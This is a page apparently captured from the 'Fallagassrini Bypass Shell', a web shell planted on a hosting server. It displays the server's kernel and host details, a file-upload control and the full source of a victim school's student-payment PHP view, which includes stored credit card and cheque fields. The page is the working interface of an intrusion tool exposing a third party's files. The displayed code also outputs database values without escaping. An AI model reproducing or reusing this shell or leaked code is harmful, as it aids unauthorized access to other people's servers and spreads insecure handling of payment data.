? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/eldertree/application/views/accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/eldertree/application/views/accounting/edit_student_payment.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
$this->load->view('accounting/accountingfunctions');
?>
<script src="<?= base_url() ?>assets/scripts/jquery.autocomplete.js"></script>
<script type="text/javascript">
    $(document).ready(function()
    {
        suggest_bank_account('#bankacc');
        suggestStudent('#student');
    });
    
    
    function suggestStudent(divid)
    {        
        $(divid).autocomplete("<?= site_url() ?>/master/autosuggeststudent/", {
            width: 250,
            selectFirst: false
            
        });
    }
</script>
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box yellow">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Updating Student Payment</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('accounting', 'viewinaccountingsearch', 'search_student_payment', 'view_student_payment', '<?= $_SESSION['pagenum']; ?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id'          => 'validateform', 'class'       => 'form-horizontal validate');
                $payment_type = $this->mastermodel->getdatas('finance_payment_types', 'payment_type_id', 'asc');
                echo form_open('accounting/addinaccounting/update_student_payment/view_student_payment/1', $attributes);
                $bankacc      = $this->mastermodel->getdatas('finance_bank_account', 'bank_account_id', 'asc');
                $bank_acc     = $this->mastermodel->get_single_field_value_two('finance_journal', 'chart_account_code', 'journal_id', $viewinfo->journal_id, 'debit', '0');
                $bank1_acc     = $this->mastermodel->get_single_field_value_two('finance_journal', 'chart_account_code', 'journal_id', $viewinfo->journal_id, 'credit', '0');
                $amount       = $this->mastermodel->get_single_field_value_two('finance_journal', 'credit', 'journal_id', $viewinfo->journal_id, 'debit', '0');
                $student      = $this->mastermodel->get_data_srow('student', $bank_acc, 'reg_no')
                ?>
                <h3> Student Payment </h3>
                <input type="hidden" name="transaction_id" value="2"/>
                 <input type="hidden" name="reference" value="<?= $viewinfo->reference ?>"/>
                <div class="row-fluid">

                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Student Name:</label>
                            <div class="controls">
                                <input type="text" name="student" id="student" onchange="empty_text('student_id')" class="required span12" value="<?= $student->first_name . ' ' . $student->last_name . '-' . $bank_acc ?>" />
                                <input type="hidden" name="student_id" id="student_id" />
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Account Code:</label>
                            <div class="controls">
                                <input type="text" name="account_code" id="account_code" readonly class="span12" value="<?= $bank_acc ?>"/>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Date: </label>
                            <div class="controls">
                                <input class="span12 required calfocus" type="text" name="journal_date" id="journal_date" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->journal_date) ?>" />

                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Amount: </label>
                            <div class="controls">
                                <input class="span12 text_r required auto" type="text" name="amount" id="amount"  value="<?= $amount ?>"/>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Payment Method: </label>
                            <div class="controls">
                                <select name="payment_type_id" id="payment_type_id" class="required  chosen span12" onchange="select_payment_mode(this.value,'payment_mode','')">
                                    <?php
                                    foreach ($payment_type as $value)
                                    {
                                        echo '<option value="' . $value['payment_type_id'] . '"';
                                        if ($value['payment_type_id'] == $viewinfo->payment_type_id)
                                            echo "selected";echo '>' . $value["payment_type"] . '</option>';
                                    }
                                    ?>
                                </select>

                            </div>
                        </div>
                    </div>
                </div>
                <div class="portlet box yellow">

                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i> </div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="span6 ">
                                <div class="control-group">
                                    <label class="control-label">Transaction No: </label>
                                    <div class="controls">
                                        <input class="span12 " type="text" name="transaction_no" readonly="readonly" value="<?= $viewinfo->reference; ?>" id="course"/>

                                    </div>
                                </div>
                            </div>
                            <div class="span6 ">
                                <div class="control-group">
                                    <label class="control-label">Description: </label>
                                    <div class="controls">
                                        <textarea name="description" id="description" clas="span12"><?= $viewinfo->description; ?></textarea>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div class="row-fluid">
                            <div class="span6 ">
                                <div class="control-group">
                                    <label class="control-label"> To Account: </label>
                                    <div class="controls">
                                        <?php
                                foreach ($bankacc as $value)
                                {
                                    
                                    if ($value['chart_account_code'] == $bank1_acc)
                                    {
                                        ?>

                                        <input type="text" name="bankacc" id="bankacc" value='<?= $value["bank_name"] ?>' class="required span12"  />
                                        <input type="hidden" name="bankacc_id" id="bankacc_id" value="<?= $value['bank_account_id'] . '~' . $value['chart_account_code'] . '~' . $value["bank_name"] ?>" />

                                        <?php
                                    }
//                                    echo '<option value="'.$value['bank_account_id'].'~'.$value['chart_account_code'].'~'.$value["bank_name"].'"'; if($value['chart_account_code']==$bank_acc) echo "selected"; echo '>'.$value["bank_name"].'</option>';
                                }
                                ?>
                                        
                                    </div>
                                </div>
                            </div>
                        </div>

                    </div>
                </div>

                <div class="portlet box yellow" >

                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i>Payment details</div>
                    </div>

                    <div class="portlet-body" id="payment_mode">
                        <?php
                        if ($viewinfo->payment_type_id == 2)
                        {
                            $cheque = $this->mastermodel->get_data_srow('finance_cheque_info', $viewinfo->journal_id, 'journal_id');
                            ?>
                            <table class="table table-striped table-hover table-bordered" id="sample_3">
                                <tr>
                                    <th>Cheque Date</th>
                                    <th>Cheque No</th>
                                    <th>Cheque Info</th>
                                </tr>
                                <tr>
                                    <td>
                                        <input class="span12 required calfocus1 " type="text" name="cheque_date" id="cheque_date" value="<?= $this->mastermodel->convertdatenormalformat($cheque->cheque_date) ?>"/>
                                        <div  style="padding: 0 5px;width:127px;display: block;height: 30px;"><span style="color: red;" id="cheque_no_date"></span></div>
                                    </td>
                                    <td>

                                        <input class="span12 required number" type="text" name="cheque_no" id="cheque_no" value="<?= $cheque->cheque_no ?>" onblur="check_unique_cheque('PV',<?= $cheque->cheque_no ?>)" />
                                        <div  style="color: red;padding: 0 5px;width:200px;display: block;height: 25px;"><span id="cheque_no_info"></span></div>

                                    </td>
                                    <td>
                                        <textarea class="span12 required"  name="cheque_info" id="cheque_info"><?= $cheque->cheque_info ?></textarea>
                                    </td>
                                </tr>
                            </table>
                            <?php
                        }
                        else if ($viewinfo->payment_type_id == 3)
                            {
                            $credit_card_info = $this->mastermodel->get_data_srow('finance_credit_card_info', $viewinfo->journal_id, 'journal_id');
                            ?>

                            <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                <tr>
                                    <th>Credit Card Holder Name</th>
                                    <th>Credit Card No</th>
                                </tr>
                                <tr>
                                    <td>
                                        <input class="required  " type="text" name="holder_name" id="holder_name" value="<?= $credit_card_info->credit_card_holder ?>"/>

                                    </td>
                                    <td>
                                        <input class="w_90 required " type="text" name="card_no" id="card_no"  value="<?= $credit_card_info->credit_card_no ?>" /><br/>

                                    </td>                
                                </tr>
                            </table>

                            <?php
                        }
                        
                        else if ($viewinfo->payment_type_id == 4)
                            {
                                $wire_info = $this->mastermodel->get_data_srow('finance_wire_info', $viewinfo->journal_id, 'journal_id');
                                ?>

                            <div class="row-fluid">
                                <div class="control-group">
                                    <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                        <tr>
                                            <th>Description</th>  
                                            <td>
                                                <input class="span12 required" type="text" name="bank_transfer_description" id="bank_transfer_description" style="width:250px;" value="<?= $wire_info->wire_info ?>"/>
                                            </td>

                                        </tr>
                                    </table>
                                </div>
                            </div>
                            <?php
                    }
                    ?>
                    </div>
                </div>
                <div class="form-actions">

                    <input type="hidden" name="journal_id" id="journal_id" value="<?= $viewinfo->journal_id ?>"/>
                    <button type="submit" onclick="checkdatavalidity($('#from_account_id').val(),'from_account','From Account not in List');    addformdata('validateform')" class="btn blue"><i class="icon-ok"></i> Transfer Amount</button>
                    <button type="button" onclick="viewdata('accounting', 'viewinaccountingsearch', 'search_student_payment', 'view_student_payment', '<?= $_SESSION['pagenum']; ?>')" class="btn">Cancel</button>
                </div>
                <?php
                echo form_close();
                ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>





bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net